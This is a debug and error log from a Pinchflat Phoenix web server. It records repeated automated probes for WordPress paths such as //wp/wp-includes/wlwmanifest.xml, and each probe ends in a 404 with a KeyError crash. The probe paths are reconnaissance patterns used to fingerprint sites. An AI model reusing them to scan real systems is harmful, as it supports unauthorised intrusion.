"pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//web/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGjqu5Zn92f8L0ACCyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//web/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//web/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17557.0>, params: %{}, path_info: ["web", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :ph (truncated) 10:08:03.400 [info] GET //wp/wp-includes/wlwmanifest.xml 10:08:03.401 [debug] QUERY OK source="settings" db=0.1ms idle=703.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:03.401 [debug] QUERY OK source="settings" db=0.1ms idle=703.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:03.401 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:08:03.401 [error] #PID<0.17558.0> running PinchflatWeb.Endpoint (connection #PID<0.17554.0>, stream id 4) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //wp/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17558.0>, params: %{}, path_info: ["wp", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//wp/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGjqxgmkmNR3roACC0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17558.0>, params: %{}, path_info: ["wp", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_req (truncated) 10:08:04.157 [info] GET //2019/wp-includes/wlwmanifest.xml 10:08:04.158 [debug] QUERY OK source="settings" db=0.1ms idle=1458.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:04.158 [debug] QUERY OK source="settings" db=0.1ms idle=1458.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:04.158 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:08:04.158 [error] #PID<0.17559.0> running PinchflatWeb.Endpoint (connection #PID<0.17554.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //2019/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2019/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2019/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17559.0>, params: %{}, path_info: ["2019", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//2019/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGjq0VIk9Ghe4YACC2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2019/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2019/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2019/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17559.0>, params: %{}, path_info: ["2019", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", (truncated) 10:08:04.864 [info] GET //shop/wp-includes/wlwmanifest.xml 10:08:04.865 [debug] QUERY OK source="settings" db=0.1ms idle=706.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:04.865 [debug] QUERY OK source="settings" db=0.1ms idle=706.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:04.865 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:08:04.866 [error] #PID<0.17560.0> running PinchflatWeb.Endpoint (connection #PID<0.17554.0>, stream id 6) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //shop/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17560.0>, params: %{}, path_info: ["shop", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//shop/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGjq29tVfphcq0ACC4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17560.0>, params: %{}, path_info: ["shop", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", (truncated) 10:08:05.582 [info] GET //test/wp-includes/wlwmanifest.xml 10:08:05.583 [debug] QUERY OK source="settings" db=0.1ms idle=885.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:05.583 [debug] QUERY OK source="settings" db=0.1ms idle=885.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:05.583 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:08:05.584 [error] #PID<0.17561.0> running PinchflatWeb.Endpoint (connection #PID<0.17554.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //test/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ 